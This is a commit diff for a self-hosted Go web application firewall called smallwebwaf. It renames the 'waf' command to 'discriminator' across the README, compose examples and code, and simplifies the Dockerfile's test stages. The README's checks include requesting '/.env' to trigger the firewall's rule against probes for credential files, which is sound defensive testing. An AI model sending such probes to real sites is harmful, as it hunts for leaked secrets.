Compare commits
1
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
c367d35b62 |
No files matched your search
@@ -37,6 +37,3 @@ These are the rules for agents working on this repository.
|
||||
- `192.168.0.0/16`.
|
||||
- `SPEC.md` states that default.
|
||||
- Forwarded headers count only when the peer is a trusted proxy.
|
||||
- Every time is in UTC, whatever `TZ` or the host's time zone says.
|
||||
- Every day is a date written `YYYY-MM-DD`, never a time.
|
||||
- `SPEC.md` states this near its start.
|
||||
+6
-43
@@ -12,7 +12,7 @@ RUN go mod download
|
||||
|
||||
COPY . .
|
||||
|
||||
RUN golangci-lint run --config .golangci.yml --build-tags recorded ./...
|
||||
RUN golangci-lint run --config .golangci.yml ./...
|
||||
|
||||
# Test phase, same shape and for the same reason. The go directive in
|
||||
# go.mod is a minimum, so this Go may be newer than the linter's. The
|
||||
@@ -20,7 +20,7 @@ RUN golangci-lint run --config .golangci.yml --build-tags recorded ./...
|
||||
# needs the C compiler it carries.
|
||||
#
|
||||
# golang 1.27.1-trixie, 2026-09-19
|
||||
FROM golang@sha256:3b77fc618ec235a1ab412de7737f120dd507c57e8d87de4cbb7994fb94275ed5 AS test-setup
|
||||
FROM golang@sha256:3b77fc618ec235a1ab412de7737f120dd507c57e8d87de4cbb7994fb94275ed5 AS test
|
||||
|
||||
WORKDIR /src
|
||||
|
||||
@@ -35,50 +35,13 @@ COPY . .
|
||||
RUN go mod tidy -diff || \
|
||||
{ echo "go.mod or go.sum is not tidy: run make tidy" >&2; exit 1; }
|
||||
|
||||
# The two passes below are separate stages so that BuildKit runs them at
|
||||
# the same time; they share no compiled code, because -race changes every
|
||||
# package's build.
|
||||
#
|
||||
# Go's build cache is kept on a tmpfs, out of the image: nothing uses it
|
||||
# after this step, and writing it into the image takes seconds. The tests
|
||||
# are built with the no_fs_access tag, as the binary is in the build stage.
|
||||
#
|
||||
# The race detector finds bugs only in code that runs in several goroutines
|
||||
# at once. Of the Core Rule Set's tests, this pass runs only those written
|
||||
# to check concurrent inspection, whose names start with TestConcurrent.
|
||||
# The second pass runs the rest.
|
||||
FROM test-setup AS test-race
|
||||
|
||||
RUN --mount=type=tmpfs,target=/root/.cache/go-build \
|
||||
others="$(go list ./... | grep -vxF sneak.berlin/go/smallwebwaf/internal/coreruleset)"; \
|
||||
{ go test -tags no_fs_access -timeout 90s -race -cover $others && \
|
||||
go test -tags no_fs_access -timeout 90s -race -cover \
|
||||
-run '^TestConcurrent' ./internal/coreruleset; } || \
|
||||
go test -tags no_fs_access -timeout 90s -race -cover ./... || \
|
||||
{ echo "--- Rerunning with -v for details ---"; \
|
||||
go test -tags no_fs_access -timeout 90s -race -v $others; \
|
||||
go test -tags no_fs_access -timeout 90s -race -v \
|
||||
-run '^TestConcurrent' ./internal/coreruleset; \
|
||||
exit 1; }
|
||||
|
||||
# Second pass: every other test of the Core Rule Set, the recorded requests
|
||||
# among them, without the race detector.
|
||||
FROM test-setup AS test-recorded
|
||||
|
||||
RUN --mount=type=tmpfs,target=/root/.cache/go-build \
|
||||
go test -tags no_fs_access,recorded -timeout 90s -cover \
|
||||
-skip '^TestConcurrent' ./internal/coreruleset || \
|
||||
{ echo "--- Rerunning with -v for details ---"; \
|
||||
go test -tags no_fs_access,recorded -timeout 90s -v \
|
||||
-skip '^TestConcurrent' ./internal/coreruleset; \
|
||||
exit 1; }
|
||||
|
||||
# The test phase that script/test and the build stage name. Nothing is
|
||||
# wanted from the two passes; the copies are what make BuildKit run them.
|
||||
# It holds nothing else, so script/test's image takes no time to write.
|
||||
FROM scratch AS test
|
||||
|
||||
COPY --from=test-race /src/go.sum /src/go.sum
|
||||
COPY --from=test-recorded /src/go.sum /src/go.sum
|
||||
go test -tags no_fs_access -timeout 90s -race -v ./...; exit 1; }
|
||||
|
||||
# Tidy stage: `go mod tidy` in the test phase's Go, so that the files it
|
||||
# writes pass the test phase's check. Nothing else depends on it, so only
|
||||
@@ -155,7 +118,7 @@ RUN git checkout --quiet --detach b4b2c785308b1ce785b6155c7fe5f16879080193 \
|
||||
-o /usr/local/bin/runsvinit .
|
||||
|
||||
# The image, described under "Deployment" in SPEC.md. It runs rproxy unless
|
||||
# SWW_COMMAND says waf, and an app's Dockerfile can build FROM it.
|
||||
# SWW_COMMAND says discriminator, and an app's Dockerfile can build FROM it.
|
||||
# It is the last stage, so a plain `docker build .` builds it.
|
||||
#
|
||||
# ubuntu 26.04, 2026-09-27
|
||||
@@ -223,7 +186,7 @@ RUN groupadd --system --gid 65532 sww \
|
||||
|
||||
# The state files' directory, SWW_STATE_DIR by default, where a volume
|
||||
# is mounted to keep them across deploys. The run script gives it to the
|
||||
# sww user at each start of waf.
|
||||
# sww user at each start of discriminator.
|
||||
RUN mkdir /var/lib/sww
|
||||
|
||||
# The default rule file, in SWW_RULES_DIR by default, where a Dockerfile
|
||||
|
||||
@@ -11,15 +11,16 @@ refuses the ones that look like abuse. `smallwebwaf` is one program, `sww`,
|
||||
shipped in one image, with two commands that do this together:
|
||||
|
||||
- `sww rproxy` is a small reverse proxy in front of one app. traefik routes to
|
||||
it. It asks `waf` about each request, passes the allowed ones to the app, and
|
||||
passes the app's answers back. It keeps nothing and never touches disk.
|
||||
- `sww waf` decides. It runs the checks and keeps the bans, the counters and
|
||||
each client's history. One `waf` serves many sites: a client banned through
|
||||
one site is refused on all of them, and its requests on all of them count
|
||||
toward one set of limits.
|
||||
it. It asks `discriminator` about each request, passes the allowed ones to the
|
||||
app, and passes the app's answers back. It keeps nothing and never touches
|
||||
disk.
|
||||
- `sww discriminator` decides. It runs the checks and keeps the bans, the
|
||||
counters and each client's history. One `discriminator` serves many sites: a
|
||||
client banned through one site is refused on all of them, and its requests on
|
||||
all of them count toward one set of limits.
|
||||
|
||||
The site keeps answering while `waf` is down, slow or restarting: without an
|
||||
answer in time, `rproxy` passes the request to the app.
|
||||
The site keeps answering while `discriminator` is down, slow or restarting:
|
||||
without an answer in time, `rproxy` passes the request to the app.
|
||||
|
||||
It protects against:
|
||||
|
||||
@@ -79,11 +80,11 @@ make docker
|
||||
|
||||
Push the image to a registry your hosts pull from, and name it there by digest.
|
||||
|
||||
The image runs `rproxy` by default. To run `waf` from the same image, set the
|
||||
container's `SWW_COMMAND` to `waf`. The image's health check follows the
|
||||
command: in `rproxy`'s container it passes once `rproxy` answers and the app
|
||||
accepts connections, whether or not `waf` answers; in `waf`'s container, once
|
||||
`waf` answers.
|
||||
The image runs `rproxy` by default. To run `discriminator` from the same image,
|
||||
set the container's `SWW_COMMAND` to `discriminator`. The image's health check
|
||||
follows the command: in `rproxy`'s container it passes once `rproxy` answers and
|
||||
the app accepts connections, whether or not `discriminator` answers; in
|
||||
`discriminator`'s container, once `discriminator` answers.
|
||||
|
||||
### The usual setup: three containers
|
||||
|
||||
@@ -91,24 +92,24 @@ The usual setup is three containers on one private network:
|
||||
|
||||
- the app;
|
||||
- `rproxy`, in front of the app, which traefik routes to: `SWRP_WAF_BACKEND`
|
||||
names `waf` and `SWRP_UPSTREAM_URL` names the app;
|
||||
- `waf`, with `SWW_COMMAND=waf` and a volume at `/var/lib/sww` for its state
|
||||
files.
|
||||
names `discriminator` and `SWRP_UPSTREAM_URL` names the app;
|
||||
- `discriminator`, with `SWW_COMMAND=discriminator` and a volume at
|
||||
`/var/lib/sww` for its state files.
|
||||
|
||||
Point traefik's labels at port 8080 of `rproxy`
|
||||
(`traefik.http.services.<name>.loadbalancer.server.port=8080`). Publish no port
|
||||
of the app or of `waf`. Anything on that network can reach the app around
|
||||
`rproxy`, and can ask `waf` questions, so the network holds only what you trust.
|
||||
Each further app adds its own container and its own `rproxy`, whose
|
||||
`SWRP_WAF_BACKEND` names the same `waf`. The "Smallest setup" example below
|
||||
shows this shape.
|
||||
of the app or of `discriminator`. Anything on that network can reach the app
|
||||
around `rproxy`, and can ask `discriminator` questions, so the network holds
|
||||
only what you trust. Each further app adds its own container and its own
|
||||
`rproxy`, whose `SWRP_WAF_BACKEND` names the same `discriminator`. The "Smallest
|
||||
setup" example below shows this shape.
|
||||
|
||||
### `rproxy` in the app's container
|
||||
|
||||
An app's image can instead be built on the `smallwebwaf` image, so that `rproxy`
|
||||
runs beside the app in one container. `waf` still runs in a container of its
|
||||
own. The app's `Dockerfile` starts `FROM` the `smallwebwaf` image, named by
|
||||
digest, and adds:
|
||||
runs beside the app in one container. `discriminator` still runs in a container
|
||||
of its own. The app's `Dockerfile` starts `FROM` the `smallwebwaf` image, named
|
||||
by digest, and adds:
|
||||
|
||||
- the app's binary;
|
||||
- the packages the app needs, from the nixpkgs in the image;
|
||||
@@ -168,25 +169,26 @@ does.
|
||||
- A log line with `"msg":"starting"` gives the version, the address and every
|
||||
setting in effect, with secrets masked.
|
||||
- A request to the site through traefik gets the app's answer.
|
||||
`https://<site>/_sww/healthz` answers `ok`. `waf`'s log lines about the
|
||||
request have `"action":"forward"`.
|
||||
- To see a refusal without banning yourself, run `waf` with `SWW_MODE=observe`
|
||||
and ask for `/.env`. The request reaches the app. `waf`'s log lines have
|
||||
`"would_action":"temporarily_banned"` and `"rule_ids":["env-file"]`. A ban you
|
||||
get in `enforce` mode is lifted as "Clients and bans" below describes.
|
||||
`https://<site>/_sww/healthz` answers `ok`. `discriminator`'s log lines about
|
||||
the request have `"action":"forward"`.
|
||||
- To see a refusal without banning yourself, run `discriminator` with
|
||||
`SWW_MODE=observe` and ask for `/.env`. The request reaches the app.
|
||||
`discriminator`'s log lines have `"would_action":"temporarily_banned"` and
|
||||
`"rule_ids":["env-file"]`. A ban you get in `enforce` mode is lifted as
|
||||
"Clients and bans" below describes.
|
||||
- With `SWW_METRICS_TOKEN` set, this answers with the metrics, from a host on
|
||||
`waf`'s network:
|
||||
`curl -H "Authorization: Bearer $TOKEN" http://waf:8080/_sww/metrics`.
|
||||
`discriminator`'s network:
|
||||
`curl -H "Authorization: Bearer $TOKEN" http://discriminator:8080/_sww/metrics`.
|
||||
- `make example-app` builds the image and an app on it, runs them, and checks
|
||||
the whole exchange (see "Entrypoints").
|
||||
|
||||
## Configuration
|
||||
|
||||
Every setting is an environment variable, read once at start; changing one means
|
||||
restarting the container. `rproxy` reads only the `SWRP_` settings, and `waf`
|
||||
only the `SWW_` ones. Every setting but `SWRP_WAF_BACKEND` has a default, chosen
|
||||
for a service on the open internet. A setting that needs an account, a key, a
|
||||
token or an alert destination stays off until you give one.
|
||||
restarting the container. `rproxy` reads only the `SWRP_` settings, and
|
||||
`discriminator` only the `SWW_` ones. Every setting but `SWRP_WAF_BACKEND` has a
|
||||
default, chosen for a service on the open internet. A setting that needs an
|
||||
account, a key, a token or an alert destination stays off until you give one.
|
||||
|
||||
- Any `SWW_` setting can be given as a file instead, for secrets and long lists:
|
||||
`SWW_ADMIN_TOKEN_FILE` names the file that holds `SWW_ADMIN_TOKEN`. The file's
|
||||
@@ -220,23 +222,23 @@ Every setting the code reads, with its default:
|
||||
|
||||
| Variable | Default | What it does |
|
||||
| ---------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `waf`. |
|
||||
| `SWRP_WAF_BACKEND` | required | `waf`'s URL, such as `http://waf:8080`. |
|
||||
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `discriminator`. |
|
||||
| `SWRP_WAF_BACKEND` | required | `discriminator`'s URL, such as `http://discriminator:8080`. |
|
||||
| `SWRP_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
|
||||
| `SWRP_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. |
|
||||
| `SWRP_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. |
|
||||
| `SWRP_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `waf`'s answer to a question and to a report, in milliseconds. |
|
||||
| `SWRP_DEFAULT_DISPOSITION` | `allow` | What `rproxy` does with a request when `waf` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. |
|
||||
| `SWRP_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `discriminator`'s answer to a question and to a report, in milliseconds. |
|
||||
| `SWRP_DEFAULT_DISPOSITION` | `allow` | What `rproxy` does with a request when `discriminator` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. |
|
||||
| `SWRP_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. |
|
||||
| `SWRP_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. |
|
||||
| `SWRP_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. |
|
||||
| `SWRP_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. |
|
||||
| `SWW_LISTEN_ADDR` | `:8080` | Where `waf` listens; leave the host part empty. |
|
||||
| `SWW_INSTANCE_NAME` | the container's host name | The name in every line `waf` logs, and in every alert and metric, such as `fsn1/waf`. |
|
||||
| `SWW_LISTEN_ADDR` | `:8080` | Where `discriminator` listens; leave the host part empty. |
|
||||
| `SWW_INSTANCE_NAME` | the container's host name | The name in every line `discriminator` logs, and in every alert and metric, such as `fsn1/discriminator`. |
|
||||
| `SWW_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. |
|
||||
| `SWW_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. |
|
||||
| `SWW_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. |
|
||||
| `SWW_MAX_BANS` | `5000` | The most bans `waf` keeps of its own; bans an admin made do not count. |
|
||||
| `SWW_MAX_BANS` | `5000` | The most bans `discriminator` keeps of its own; bans an admin made do not count. |
|
||||
| `SWW_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. |
|
||||
| `SWW_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. |
|
||||
| `SWW_DENY_NETS` | empty | Netblocks whose clients are refused. |
|
||||
@@ -294,9 +296,9 @@ Every setting the code reads, with its default:
|
||||
| `SWW_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. |
|
||||
| `SWW_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. |
|
||||
| `SWW_STATE_COUNTER_INTERVAL` | `15m` | How often every state file is written. |
|
||||
| `SWW_LOG_LEVEL` | `info` | The least severe of `waf`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. |
|
||||
| `SWW_LOG_LEVEL` | `info` | The least severe of `discriminator`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. |
|
||||
| `SWW_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. |
|
||||
| `SWW_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `waf` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. |
|
||||
| `SWW_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `discriminator` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. |
|
||||
| `SWW_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. |
|
||||
| `SWW_LOG_REMOTE_BUFFER` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. |
|
||||
| `SWW_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. |
|
||||
@@ -349,8 +351,8 @@ own, where each reaches the others by service name. Each example publishes
|
||||
|
||||
### Smallest setup
|
||||
|
||||
One app, `rproxy` in front of it, and `waf` with a volume for its state files,
|
||||
every setting at its default.
|
||||
One app, `rproxy` in front of it, and `discriminator` with a volume for its
|
||||
state files, every setting at its default.
|
||||
|
||||
```yaml
|
||||
services:
|
||||
@@ -361,20 +363,20 @@ services:
|
||||
rproxy:
|
||||
image: smallwebwaf
|
||||
environment:
|
||||
SWRP_WAF_BACKEND: http://waf:8080
|
||||
SWRP_WAF_BACKEND: http://discriminator:8080
|
||||
SWRP_UPSTREAM_URL: http://app:8081
|
||||
ports:
|
||||
- "8080:8080"
|
||||
|
||||
waf:
|
||||
discriminator:
|
||||
image: smallwebwaf
|
||||
environment:
|
||||
SWW_COMMAND: waf
|
||||
SWW_COMMAND: discriminator
|
||||
volumes:
|
||||
- waf-state:/var/lib/sww
|
||||
- discriminator-state:/var/lib/sww
|
||||
|
||||
volumes:
|
||||
waf-state:
|
||||
discriminator-state:
|
||||
```
|
||||
|
||||
### Custom per-address limits
|
||||
@@ -397,15 +399,15 @@ services:
|
||||
rproxy:
|
||||
image: smallwebwaf
|
||||
environment:
|
||||
SWRP_WAF_BACKEND: http://waf:8080
|
||||
SWRP_WAF_BACKEND: http://discriminator:8080
|
||||
SWRP_UPSTREAM_URL: http://app:8081
|
||||
ports:
|
||||
- "8080:8080"
|
||||
|
||||
waf:
|
||||
discriminator:
|
||||
image: smallwebwaf
|
||||
environment:
|
||||
SWW_COMMAND: waf
|
||||
SWW_COMMAND: discriminator
|
||||
# Monitoring skips every check.
|
||||
SWW_ALLOW_NETS: 192.0.2.10
|
||||
# The office and the automation host are never rate limited.
|
||||
@@ -424,18 +426,18 @@ services:
|
||||
SWW_BAN_RESPONSE: "429"
|
||||
SWW_LIMIT_BAN_DURATION: 30m
|
||||
volumes:
|
||||
- waf-state:/var/lib/sww
|
||||
- discriminator-state:/var/lib/sww
|
||||
|
||||
volumes:
|
||||
waf-state:
|
||||
discriminator-state:
|
||||
```
|
||||
|
||||
### `rproxy` beside the app
|
||||
|
||||
The app is built on the `smallwebwaf` image, with `rproxy` inside its container.
|
||||
`app/` holds the `Dockerfile` and `app.run` from "`rproxy` in the app's
|
||||
container". `rproxy` answers `503` to every request while `waf` is down, and
|
||||
`waf`:
|
||||
container". `rproxy` answers `503` to every request while `discriminator` is
|
||||
down, and `discriminator`:
|
||||
|
||||
- observes before it enforces;
|
||||
- looks addresses up in a local database rather than GeoJS;
|
||||
@@ -448,17 +450,17 @@ services:
|
||||
# A Dockerfile built FROM the smallwebwaf image, with rproxy inside.
|
||||
build: ./app
|
||||
environment:
|
||||
SWRP_WAF_BACKEND: http://waf:8080
|
||||
# Answer 503 rather than pass a request on while waf is down.
|
||||
SWRP_WAF_BACKEND: http://discriminator:8080
|
||||
# Answer 503 rather than pass a request on while discriminator is down.
|
||||
SWRP_DEFAULT_DISPOSITION: deny
|
||||
ports:
|
||||
- "8080:8080"
|
||||
|
||||
waf:
|
||||
discriminator:
|
||||
image: smallwebwaf
|
||||
environment:
|
||||
SWW_COMMAND: waf
|
||||
SWW_INSTANCE_NAME: fsn1/waf
|
||||
SWW_COMMAND: discriminator
|
||||
SWW_INSTANCE_NAME: fsn1/discriminator
|
||||
# Refuse nothing yet; log what enforce mode would have done.
|
||||
SWW_MODE: observe
|
||||
# Look addresses up in a local IPinfo Lite database, never GeoJS.
|
||||
@@ -469,12 +471,12 @@ services:
|
||||
SWW_ALERT_NTFY_TOKEN_FILE: /etc/sww/tokens/ntfy
|
||||
SWW_ALERT_EVENTS: ban,permanent_ban,core_rule_set_match,source_failure,file_error
|
||||
volumes:
|
||||
- waf-state:/var/lib/sww
|
||||
- discriminator-state:/var/lib/sww
|
||||
- /srv/ipinfo:/var/lib/ipinfo:ro
|
||||
- /srv/sww/tokens:/etc/sww/tokens:ro
|
||||
|
||||
volumes:
|
||||
waf-state:
|
||||
discriminator-state:
|
||||
```
|
||||
|
||||
The database is mounted by its directory, not by file, so that a replaced
|
||||
@@ -496,18 +498,18 @@ How it works inside. [`SPEC.md`](SPEC.md) gives every rule in full, and why.
|
||||
|
||||
### What happens to a request
|
||||
|
||||
A request goes through these steps, in this order. Once `waf` refuses a request,
|
||||
the steps after that are skipped, apart from the report, and nothing of the
|
||||
request reaches the app.
|
||||
A request goes through these steps, in this order. Once `discriminator` refuses
|
||||
a request, the steps after that are skipped, apart from the report, and nothing
|
||||
of the request reaches the app.
|
||||
|
||||
`rproxy` takes the first two:
|
||||
|
||||
1. The health check, `GET /_sww/healthz`, is answered at once.
|
||||
2. The visitor's address is worked out from `X-Forwarded-For`, believed only
|
||||
from `SWRP_TRUSTED_PROXIES`. `rproxy` sends `waf` the request as the visitor
|
||||
sent it, with the first 64 KiB of its body.
|
||||
from `SWRP_TRUSTED_PROXIES`. `rproxy` sends `discriminator` the request as
|
||||
the visitor sent it, with the first 64 KiB of its body.
|
||||
|
||||
`waf` takes the checks:
|
||||
`discriminator` takes the checks:
|
||||
|
||||
3. The tag lists.
|
||||
4. The static lists, `SWW_ALLOW_NETS` and `SWW_DENY_NETS`.
|
||||
@@ -526,13 +528,13 @@ request reaches the app.
|
||||
16. A path under `/_sww/` is answered `404`, so that the app never sees that
|
||||
prefix.
|
||||
|
||||
`rproxy` takes the rest, with `waf` counting at the end:
|
||||
`rproxy` takes the rest, with `discriminator` counting at the end:
|
||||
|
||||
17. The request is passed to the app, streaming.
|
||||
18. After the answer, `rproxy` sends `waf` a report with the status and the body
|
||||
bytes each way. For an allowed request, `waf` counts the bytes
|
||||
`SWW_BYTES_COUNT` names toward the byte limits, bans the client if they take
|
||||
it past one, and adds the request to the client's history.
|
||||
18. After the answer, `rproxy` sends `discriminator` a report with the status
|
||||
and the body bytes each way. For an allowed request, `discriminator` counts
|
||||
the bytes `SWW_BYTES_COUNT` names toward the byte limits, bans the client if
|
||||
they take it past one, and adds the request to the client's history.
|
||||
|
||||
A refused visitor is answered with `SWW_BAN_RESPONSE`. A `block` rule or a Core
|
||||
Rule Set match answers `403` and bans nobody, since the Core Rule Set has false
|
||||
@@ -558,8 +560,8 @@ status for a size or time limit, such as `413` for a body too large.
|
||||
|
||||
### Request tags
|
||||
|
||||
Each request gets tags from what `waf` knows of its client, written in the
|
||||
`tags` field of its log line:
|
||||
Each request gets tags from what `discriminator` knows of its client, written in
|
||||
the `tags` field of its log line:
|
||||
|
||||
- `asn=<number>` and `country=<code>`, from the lookup;
|
||||
- one tag per list of `SWW_TAG_LISTS` that holds the client, such as `torexit`
|
||||
@@ -600,27 +602,20 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
||||
- Nextcloud: its sync client gets through. On Nextcloud's own paths, its
|
||||
WebDAV methods, searches, file names, account names, comments and
|
||||
documents do too.
|
||||
- A random password, as a password manager makes one, gets through these forms:
|
||||
- signing in, signing up, and changing or resetting a password, on
|
||||
WordPress, Drupal, MediaWiki, Mastodon, Nextcloud and gitea;
|
||||
- moving or deleting the account, on Mastodon;
|
||||
- deleting the account, on gitea;
|
||||
- the admin page, on Vaultwarden, whose apps send a hash of the master
|
||||
password, not the password itself.
|
||||
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
|
||||
fields or paths.
|
||||
- Rule files are plain text, one rule to a line, edited by hand and read again
|
||||
while `waf` runs. The image ships one file of probes no real visitor sends
|
||||
(see [`docs/rules.md`](docs/rules.md)).
|
||||
while `discriminator` runs. The image ships one file of probes no real visitor
|
||||
sends (see [`docs/rules.md`](docs/rules.md)).
|
||||
|
||||
### State files
|
||||
|
||||
`waf` keeps everything in memory, and the five JSON files in `SWW_STATE_DIR`
|
||||
hold a copy: `bans.json`, `clients.json`, `lookups.json`, `reputation.json` and
|
||||
`alerts.json`. Each is written whole, to a temporary file renamed over the real
|
||||
one, so a crash leaves a complete file. `waf` notices a file edited on disk and
|
||||
takes the edit in; an edit that does not parse is set aside as `<name>.bad`, and
|
||||
never stops the running process (see
|
||||
`discriminator` keeps everything in memory, and the five JSON files in
|
||||
`SWW_STATE_DIR` hold a copy: `bans.json`, `clients.json`, `lookups.json`,
|
||||
`reputation.json` and `alerts.json`. Each is written whole, to a temporary file
|
||||
renamed over the real one, so a crash leaves a complete file. `discriminator`
|
||||
notices a file edited on disk and takes the edit in; an edit that does not parse
|
||||
is set aside as `<name>.bad`, and never stops the running process (see
|
||||
[`docs/state-files.md`](docs/state-files.md)).
|
||||
|
||||
### The image and its processes
|
||||
@@ -630,19 +625,20 @@ never stops the running process (see
|
||||
`Dockerfile` installs a package with `nix-env -iA nixpkgs.<name>` and gets the
|
||||
same package each time it is built (see [`docs/image.md`](docs/image.md)).
|
||||
- runit, a service supervisor, runs `sww` as the `sww` user (uid and gid 65532)
|
||||
and starts it again when it exits. The `run` script of `waf` gives the state
|
||||
directory to the `sww` user at each start, so a volume needs no change of
|
||||
owner.
|
||||
- `rproxy` and `waf` use no token between them. `waf`'s own endpoints, under
|
||||
`/_sww/`, are for your admin tools and your metrics collector, at its own
|
||||
address on the private network; nothing routes the internet there.
|
||||
and starts it again when it exits. The `run` script of `discriminator` gives
|
||||
the state directory to the `sww` user at each start, so a volume needs no
|
||||
change of owner.
|
||||
- `rproxy` and `discriminator` use no token between them. `discriminator`'s own
|
||||
endpoints, under `/_sww/`, are for your admin tools and your metrics
|
||||
collector, at its own address on the private network; nothing routes the
|
||||
internet there.
|
||||
- `docker stop` gives requests in progress five seconds to finish. With `rproxy`
|
||||
in the app's container, the app must keep answering for five seconds after
|
||||
`SIGTERM` for that to help them.
|
||||
- Only faults found at start stop a process: an invalid setting, a rule file or
|
||||
state file that does not parse, a lookup database that cannot be read, or an
|
||||
address it cannot listen on. Once running, a failing lookup service,
|
||||
reputation source or alert destination never takes `waf` down.
|
||||
reputation source or alert destination never takes `discriminator` down.
|
||||
|
||||
### Packages
|
||||
|
||||
@@ -650,8 +646,8 @@ never stops the running process (see
|
||||
- `internal/sww`: the process, as the command it is given, and the health check.
|
||||
- `internal/config`: reads the settings, the one place they are read.
|
||||
- `internal/rproxy`: the reverse proxy in front of one app.
|
||||
- `internal/waf`: `waf`'s server, which runs the checks and answers its own
|
||||
endpoints.
|
||||
- `internal/discriminator`: `discriminator`'s server, which runs the checks and
|
||||
answers its own endpoints.
|
||||
- `internal/ratelimit`, `internal/bans`, `internal/rules`,
|
||||
`internal/coreruleset`, `internal/lookup`, `internal/reputation`,
|
||||
`internal/routewatch`, `internal/anomaly` and `internal/alerts`: one check or
|
||||
@@ -699,12 +695,7 @@ on the host.
|
||||
- `script/projectname`: prints `smallwebwaf`, which the other scripts tag their
|
||||
images with.
|
||||
- `script/test`: checks that `go.mod` and `go.sum` are tidy, then runs the
|
||||
tests, as the `test` phase of the `Dockerfile`, in two passes. `make test`.
|
||||
- The first runs every package's tests with the race detector. Of the Core
|
||||
Rule Set's tests, it runs only those written to check concurrent
|
||||
inspection, whose names start with `TestConcurrent`.
|
||||
- The second runs the Core Rule Set's other tests without the race detector,
|
||||
the recorded requests among them.
|
||||
tests, as the `test` phase of the `Dockerfile`. `make test`.
|
||||
- `script/tidy`: writes `go.mod` and `go.sum` as `go mod tidy` writes them, in
|
||||
the `tidy` stage of the `Dockerfile`. `make tidy`.
|
||||
- `script/lint`: runs golangci-lint, as the `lint` phase of the `Dockerfile`.
|
||||
@@ -731,25 +722,25 @@ on the host.
|
||||
- `script/precommit`: run by the git pre-commit hook; runs `script/check`.
|
||||
- `script/install-precommit`: installs that hook. `make hooks`.
|
||||
- `script/build`: builds `bin/sww` with the Go on your host. `make build`.
|
||||
- `script/run`: builds `bin/sww` and runs `waf` and `rproxy` on the host, with
|
||||
the settings in your environment. `make run`. Unless your settings say
|
||||
otherwise:
|
||||
- `script/run`: builds `bin/sww` and runs `discriminator` and `rproxy` on the
|
||||
host, with the settings in your environment. `make run`. Unless your settings
|
||||
say otherwise:
|
||||
- `rproxy` listens on port 8080, in front of an app at
|
||||
`http://127.0.0.1:8081`;
|
||||
- `waf` listens on port 8090;
|
||||
- `discriminator` listens on port 8090;
|
||||
- its state files go in `bin/state`;
|
||||
- its rule files are those of `share/rules.d`.
|
||||
- `script/example-app`: builds the image and the example app
|
||||
(`deploy/example-app`) on it, runs the app with `rproxy` in its container and
|
||||
`waf` in another, and checks them. Then it removes the containers, the
|
||||
network, the volumes and the images. Needs network access. `make example-app`.
|
||||
It checks:
|
||||
`discriminator` in another, and checks them. Then it removes the containers,
|
||||
the network, the volumes and the images. Needs network access.
|
||||
`make example-app`. It checks:
|
||||
- the health checks;
|
||||
- a request passed to the app;
|
||||
- a ban for a broken limit, and a ban for a probe made permanent;
|
||||
- that only `waf`'s container changes the state directory's owner;
|
||||
- with `waf` stopped, the app still answering through `rproxy`;
|
||||
- with `waf` started again, bans applying again;
|
||||
- that only `discriminator`'s container changes the state directory's owner;
|
||||
- with `discriminator` stopped, the app still answering through `rproxy`;
|
||||
- with `discriminator` started again, bans applying again;
|
||||
- orderly stops with `sv stop` and `docker stop`;
|
||||
- bans surviving a new container on the same volume;
|
||||
- a setting given as a file.
|
||||
|
||||
+2
-2
@@ -1,6 +1,6 @@
|
||||
// Command sww is a web application firewall. `sww rproxy` is the reverse
|
||||
// proxy in front of one app, which asks waf about each request.
|
||||
// `sww waf` decides, for many sites, and keeps what lasts. `sww
|
||||
// proxy in front of one app, which asks discriminator about each request.
|
||||
// `sww discriminator` decides, for many sites, and keeps what lasts. `sww
|
||||
// healthcheck` is the container's health check. Everything it does is in
|
||||
// internal/sww.
|
||||
package main
|
||||
|
||||
+17
-17
@@ -1,8 +1,8 @@
